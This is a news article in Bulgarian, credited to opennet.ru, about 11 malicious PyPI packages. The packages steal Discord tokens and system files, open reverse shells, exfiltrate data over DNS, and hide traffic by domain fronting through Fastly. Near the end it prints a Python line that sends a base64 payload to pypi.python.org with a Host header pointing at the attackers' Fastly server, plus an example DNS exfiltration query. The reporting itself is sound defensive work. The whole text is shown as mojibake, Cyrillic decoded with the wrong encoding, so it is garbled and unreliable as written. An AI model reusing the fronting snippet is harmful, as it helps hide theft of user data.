Π’ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π° Π½Π° PyPI са ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€Π°Π½ΠΈ Π·Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½ΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ, ΠΊΠΎΠΈΡ‚ΠΎ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ PyPI CDN, Π·Π° Π΄Π° скрият комуникационния ΠΊΠ°Π½Π°Π»

Π’ дирСкторията Π½Π° PyPI (Python Package Index) са ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€Π°Π½ΠΈ 11 ΠΏΠ°ΠΊΠ΅Ρ‚Π°, ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Ρ‰ΠΈ Π·Π»ΠΎΠ²Ρ€Π΅Π΄Π΅Π½ ΠΊΠΎΠ΄. ΠŸΡ€Π΅Π΄ΠΈ Π΄Π° Π±ΡŠΠ΄Π°Ρ‚ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€Π°Π½ΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΈΡ‚Π΅, ΠΏΠ°ΠΊΠ΅Ρ‚ΠΈΡ‚Π΅ са Π±ΠΈΠ»ΠΈ ΠΈΠ·Ρ‚Π΅Π³Π»Π΅Π½ΠΈ ΠΎΠ±Ρ‰ΠΎ ΠΎΠΊΠΎΠ»ΠΎ 38 хиляди ΠΏΡŠΡ‚ΠΈ. ΠžΡ‚ΠΊΡ€ΠΈΡ‚ΠΈΡ‚Π΅ Π·Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½ΠΈ ΠΏΠ°ΠΊΠ΅Ρ‚ΠΈ сС ΠΎΡ‚Π»ΠΈΡ‡Π°Π²Π°Ρ‚ с ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π° слоТни ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΈ Π·Π° скриванС Π½Π° ΠΊΠΎΠΌΡƒΠ½ΠΈΠΊΠ°Ρ†ΠΈΠΎΠ½Π½ΠΈ ΠΊΠ°Π½Π°Π»ΠΈ със ΡΡŠΡ€Π²ΡŠΡ€ΠΈΡ‚Π΅ Π½Π° Π½Π°ΠΏΠ°Π΄Π°Ρ‚Π΅Π»ΠΈΡ‚Π΅.

  • importantpackage (6305 изтСгляния), important-package (12897) - установи Π²Ρ€ΡŠΠ·ΠΊΠ° с външСн ΡΡŠΡ€Π²ΡŠΡ€ ΠΏΠΎΠ΄ ΠΏΡ€ΠΈΠΊΡ€ΠΈΡ‚ΠΈΠ΅Ρ‚ΠΎ Π½Π° ΡΠ²ΡŠΡ€Π·Π²Π°Π½Π΅ към pypi.python.org, Π·Π° Π΄Π° осигури Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ систСмата (ΠΎΠ±Ρ€Π°Ρ‚Π΅Π½ шСл) ΠΈ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠ°Ρ‚Π° trevorc2, Π·Π° Π΄Π° скриС ΠΊΠΎΠΌΡƒΠ½ΠΈΠΊΠ°Ρ†ΠΈΠΎΠ½Π΅Π½ ΠΊΠ°Π½Π°Π».
  • pptest (10001), ipboards (946) - ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° DNS ΠΊΠ°Ρ‚ΠΎ ΠΊΠΎΠΌΡƒΠ½ΠΈΠΊΠ°Ρ†ΠΈΠΎΠ½Π΅Π½ ΠΊΠ°Π½Π°Π» Π·Π° ΠΏΡ€Π΅Π΄Π°Π²Π°Π½Π΅ Π½Π° информация Π·Π° систСмата (Π² ΠΏΡŠΡ€Π²ΠΈΡ ΠΏΠ°ΠΊΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΠΎ Π½Π° хоста, Ρ€Π°Π±ΠΎΡ‚Π½Π°Ρ‚Π° дирСктория, Π²ΡŠΡ‚Ρ€Π΅ΡˆΠ½ΠΈΡ ΠΈ външния IP, във втория - потрСбитСлското ΠΈΠΌΠ΅ ΠΈ ΠΈΠΌΠ΅Ρ‚ΠΎ Π½Π° хоста) .
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) - ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€Π° Ρ‚ΠΎΠΊΠ΅Π½Π° Π½Π° услугата Discord Π² систСмата ΠΈ Π³ΠΎ ΠΈΠ·ΠΏΡ€Π°Ρ‚ΠΈ Π½Π° външСн хост.
  • trrfab (287) - ΠΈΠ·ΠΏΡ€Π°Ρ‚ΠΈ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π°, ΠΈΠΌΠ΅Ρ‚ΠΎ Π½Π° хоста ΠΈ ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Π½ΠΈΠ΅Ρ‚ΠΎ Π½Π° /etc/passwd, /etc/hosts, /home към външния хост.
  • 10Cent10 (490) - установява Π²Ρ€ΡŠΠ·ΠΊΠ° с ΠΎΠ±Ρ€Π°Ρ‚Π½Π° ΠΎΠ±Π²ΠΈΠ²ΠΊΠ° с външСн хост.
  • yandex-yt (4183) - ΠΏΠΎΠΊΠ°Π·Π²Π° ΡΡŠΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅ Π·Π° ΠΊΠΎΠΌΠΏΡ€ΠΎΠΌΠ΅Ρ‚ΠΈΡ€Π°Π½Π° систСма ΠΈ прСнасочванС към страница с Π΄ΠΎΠΏΡŠΠ»Π½ΠΈΡ‚Π΅Π»Π½Π° информация Π·Π° ΠΏΠΎ-Π½Π°Ρ‚Π°Ρ‚ΡŠΡˆΠ½ΠΈ дСйствия, ΠΈΠ·Π΄Π°Π΄Π΅Π½ΠΈ Ρ‡Ρ€Π΅Π· nda.ya.ru (api.ya.cc).

ОсобСно Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ заслуТава ΠΌΠ΅Ρ‚ΠΎΠ΄ΡŠΡ‚ Π·Π° Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ външни хостовС, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ Π² ΠΏΠ°ΠΊΠ΅Ρ‚ΠΈΡ‚Π΅ importantpackage ΠΈ important-package, ΠΊΠΎΠΈΡ‚ΠΎ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ…Π° ΠΌΡ€Π΅ΠΆΠ°Ρ‚Π° Π·Π° доставка Π½Π° ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Π½ΠΈΠ΅ Fastly, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π° Π² дирСкторията PyPI, Π·Π° Π΄Π° скрият своята дСйност. Π’ΡΡŠΡ‰Π½ΠΎΡΡ‚ заявкитС бяха ΠΈΠ·ΠΏΡ€Π°Ρ‚Π΅Π½ΠΈ Π΄ΠΎ ΡΡŠΡ€Π²ΡŠΡ€Π° pypi.python.org (Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»Π½ΠΎ ΡƒΠΊΠ°Π·Π²Π°Π½Π΅ Π½Π° ΠΈΠΌΠ΅Ρ‚ΠΎ python.org Π² SNI Π² HTTPS заявката), Π½ΠΎ Π·Π°Π³Π»Π°Π²ΠΊΠ°Ρ‚Π° Π½Π° HTTP β€žΠ₯ΠΎΡΡ‚β€œ Π²ΠΊΠ»ΡŽΡ‡Π²Π°ΡˆΠ΅ ΠΈΠΌΠ΅Ρ‚ΠΎ Π½Π° ΡΡŠΡ€Π²ΡŠΡ€Π°, ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€Π°Π½ ΠΎΡ‚ Π½Π°ΠΏΠ°Π΄Π°Ρ‚Π΅Π»ΠΈΡ‚Π΅ (сСк. forward.io. global.prod.fastly.net). ΠœΡ€Π΅ΠΆΠ°Ρ‚Π° Π·Π° доставка Π½Π° ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Π½ΠΈΠ΅ ΠΈΠ·ΠΏΡ€Π°Ρ‚ΠΈ ΠΏΠΎΠ΄ΠΎΠ±Π½Π° заявка Π΄ΠΎ атакуващия ΡΡŠΡ€Π²ΡŠΡ€, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΉΠΊΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΈΡ‚Π΅ Π½Π° TLS Π²Ρ€ΡŠΠ·ΠΊΠ°Ρ‚Π° към pypi.python.org ΠΏΡ€ΠΈ ΠΏΡ€Π΅Π΄Π°Π²Π°Π½Π΅ Π½Π° Π΄Π°Π½Π½ΠΈ.

Π˜Π½Ρ„Ρ€Π°ΡΡ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π°Ρ‚Π° Π½Π° PyPI сС Π·Π°Ρ…Ρ€Π°Π½Π²Π° ΠΎΡ‚ ΠΌΡ€Π΅ΠΆΠ°Ρ‚Π° Π·Π° доставка Π½Π° ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Π½ΠΈΠ΅ Fastly, която ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° прозрачния прокси Varnish Π·Π° ΠΊΠ΅ΡˆΠΈΡ€Π°Π½Π΅ Π½Π° Ρ‚ΠΈΠΏΠΈΡ‡Π½ΠΈ заявки ΠΈ ΡΡŠΡ‰ΠΎ Ρ‚Π°ΠΊΠ° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½Π° TLS сСртификати Π½Π° Π½ΠΈΠ²ΠΎ CDN, Π° Π½Π΅ Π½Π° ΠΊΡ€Π°ΠΉΠ½ΠΈΡ‚Π΅ ΡΡŠΡ€Π²ΡŠΡ€ΠΈ, Π·Π° ΠΏΡ€Π΅ΠΏΡ€Π°Ρ‰Π°Π½Π΅ Π½Π° HTTPS заявки ΠΏΡ€Π΅Π· прокси. НСзависимо ΠΎΡ‚ цСлСвия хост, заявкитС сС ΠΈΠ·ΠΏΡ€Π°Ρ‰Π°Ρ‚ Π΄ΠΎ проксито, ΠΊΠΎΠ΅Ρ‚ΠΎ опрСдСля ТСлания хост с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° Π·Π°Π³Π»Π°Π²ΠΊΠ°Ρ‚Π° HTTP β€žHostβ€œ, Π° ΠΈΠΌΠ΅Π½Π°Ρ‚Π° Π½Π° Π΄ΠΎΠΌΠ΅ΠΉΠ½ΠΈΡ‚Π΅ Π½Π° хоста са ΡΠ²ΡŠΡ€Π·Π°Π½ΠΈ с IP адрСситС Π½Π° CDN load balancer, ΠΊΠΎΠΈΡ‚ΠΎ са Ρ‚ΠΈΠΏΠΈΡ‡Π½ΠΈ Π·Π° всички ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΈ Π½Π° Fastly.

Π‘ΡŠΡ€Π²ΡŠΡ€ΡŠΡ‚ Π½Π° Π°Ρ‚Π°ΠΊΡƒΠ²Π°Ρ‰ΠΈΡ‚Π΅ ΡΡŠΡ‰ΠΎ сС рСгистрира Π² CDN Fastly, ΠΊΠΎΠΉΡ‚ΠΎ прСдоставя Π±Π΅Π·ΠΏΠ»Π°Ρ‚Π½ΠΈ ΠΏΠ»Π°Π½ΠΎΠ²Π΅ Π½Π° всички ΠΈ Π΄ΠΎΡ€ΠΈ позволява Π°Π½ΠΎΠ½ΠΈΠΌΠ½Π° рСгистрация. Врябва Π΄Π° сС ΠΎΡ‚Π±Π΅Π»Π΅ΠΆΠΈ, Ρ‡Π΅ Π·Π° ΠΈΠ·ΠΏΡ€Π°Ρ‰Π°Π½Π΅ Π½Π° заявки Π΄ΠΎ ΠΆΠ΅Ρ€Ρ‚Π²Π°Ρ‚Π° ΠΏΡ€ΠΈ създаванС Π½Π° β€žΠΎΠ±Ρ€Π°Ρ‚Π½Π° ΠΎΠ±Π²ΠΈΠ²ΠΊΠ°β€œ ΡΡŠΡ‰ΠΎ сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° схСма, Π½ΠΎ ΠΈΠ½ΠΈΡ†ΠΈΠΈΡ€Π°Π½Π° ΠΎΡ‚ страна Π½Π° хоста Π½Π° нападатСля. ΠžΡ‚Π²ΡŠΠ½ взаимодСйствиСто със ΡΡŠΡ€Π²ΡŠΡ€Π° Π½Π° нападатСля ΠΈΠ·Π³Π»Π΅ΠΆΠ΄Π° ΠΊΠ°Ρ‚ΠΎ Π»Π΅Π³ΠΈΡ‚ΠΈΠΌΠ½Π° сСсия с PyPI дирСкторията, ΠΊΡ€ΠΈΠΏΡ‚ΠΈΡ€Π°Π½Π° с PyPI TLS сСртификат. Подобна Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ°, извСстна ΠΊΠ°Ρ‚ΠΎ β€žΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΡΠ½Π΅ Π½Π° Π΄ΠΎΠΌΠ΅ΠΉΠ½β€œ, ΠΏΡ€Π΅Π΄ΠΈ Ρ‚ΠΎΠ²Π° бСшС Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π° Π·Π° скриванС Π½Π° ΠΈΠΌΠ΅Ρ‚ΠΎ Π½Π° хоста ΠΏΡ€ΠΈ заобикалянС Π½Π° Π±Π»ΠΎΠΊΠΈΡ€Π°Π½Π΅Ρ‚ΠΎ, ΠΊΠ°Ρ‚ΠΎ сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° Π²ΡŠΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚Ρ‚Π°, прСдоставСна Π² някои CDN ΠΌΡ€Π΅ΠΆΠΈ Π·Π° Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ HTTPS Ρ‡Ρ€Π΅Π· посочванС Π½Π° Ρ„ΠΈΠΊΡ‚ΠΈΠ²Π΅Π½ хост Π² SNI ΠΈ дСйствитСлно ΠΏΡ€Π΅Π΄Π°Π²Π°Π½Π΅ Π½Π° ΠΈΠΌΠ΅Ρ‚ΠΎ Π½Π° заявСн хост Π² Π·Π°Π³Π»Π°Π²ΠΊΠ°Ρ‚Π° Π½Π° HTTP хост Π²ΡŠΡ‚Ρ€Π΅ Π² TLS сСсия.

Π’ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π° Π½Π° PyPI са ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€Π°Π½ΠΈ Π·Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½ΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ, ΠΊΠΎΠΈΡ‚ΠΎ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ PyPI CDN, Π·Π° Π΄Π° скрият комуникационния ΠΊΠ°Π½Π°Π»

Π—Π° Π΄Π° скриС Π·Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½Π° дСйност, ΠΏΠ°ΠΊΠ΅Ρ‚ΡŠΡ‚ TrevorC2 бСшС Π΄ΠΎΠΏΡŠΠ»Π½ΠΈΡ‚Π΅Π»Π½ΠΎ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½, Π·Π° Π΄Π° Π½Π°ΠΏΡ€Π°Π²ΠΈ взаимодСйствиСто със ΡΡŠΡ€Π²ΡŠΡ€Π° ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎ Π½Π° ΠΎΠ±ΠΈΠΊΠ½ΠΎΠ²Π΅Π½Π°Ρ‚Π° ΡƒΠ΅Π± навигация, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π·Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½ΠΈ заявки бяха ΠΈΠ·ΠΏΡ€Π°Ρ‚Π΅Π½ΠΈ ΠΏΠΎΠ΄ ΠΏΡ€ΠΈΠΊΡ€ΠΈΡ‚ΠΈΠ΅Ρ‚ΠΎ Π½Π° изтСглянС Π½Π° ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅Ρ‚ΠΎ β€žhttps://pypi.python.org/images/ guid=” с ΠΊΠΎΠ΄ΠΈΡ€Π°Π½Π΅ Π½Π° информация Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚ΡŠΡ€ guid. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

ΠŸΠ°ΠΊΠ΅Ρ‚ΠΈΡ‚Π΅ pptest ΠΈ ipboards ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ…Π° Ρ€Π°Π·Π»ΠΈΡ‡Π΅Π½ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ Π·Π° скриванС Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²Π°Ρ‚Π° активност, Π±Π°Π·ΠΈΡ€Π°Π½ Π½Π° ΠΊΠΎΠ΄ΠΈΡ€Π°Π½Π΅ Π½Π° ΠΏΠΎΠ»Π΅Π·Π½Π° информация Π² заявки към DNS ΡΡŠΡ€Π²ΡŠΡ€Π°. Π—Π»ΠΎΠ²Ρ€Π΅Π΄Π΅Π½ софтуСр ΠΏΡ€Π΅Π΄Π°Π²Π° информация, ΠΊΠ°Ρ‚ΠΎ изпълнява DNS заявки ΠΊΠ°Ρ‚ΠΎ β€žnu4timjagq4fimbuhe.example.comβ€œ, Π² ΠΊΠΎΠΈΡ‚ΠΎ Π΄Π°Π½Π½ΠΈΡ‚Π΅, ΠΏΡ€Π΅Π΄Π°Π΄Π΅Π½ΠΈ Π½Π° контролния ΡΡŠΡ€Π²ΡŠΡ€, са ΠΊΠΎΠ΄ΠΈΡ€Π°Π½ΠΈ с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° base64 Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π² ΠΈΠΌΠ΅Ρ‚ΠΎ Π½Π° ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅ΠΉΠ½Π°. НападатСлят ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π° Ρ‚Π΅Π·ΠΈ ΡΡŠΠΎΠ±Ρ‰Π΅Π½ΠΈΡ, ΠΊΠ°Ρ‚ΠΎ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€Π° DNS ΡΡŠΡ€Π²ΡŠΡ€Π° Π·Π° Π΄ΠΎΠΌΠ΅ΠΉΠ½Π° example.com.

Π˜Π·Ρ‚ΠΎΡ‡Π½ΠΈΠΊ: opennet.ru

ДобавянС Π½Π° Π½ΠΎΠ² ΠΊΠΎΠΌΠ΅Π½Ρ‚Π°Ρ€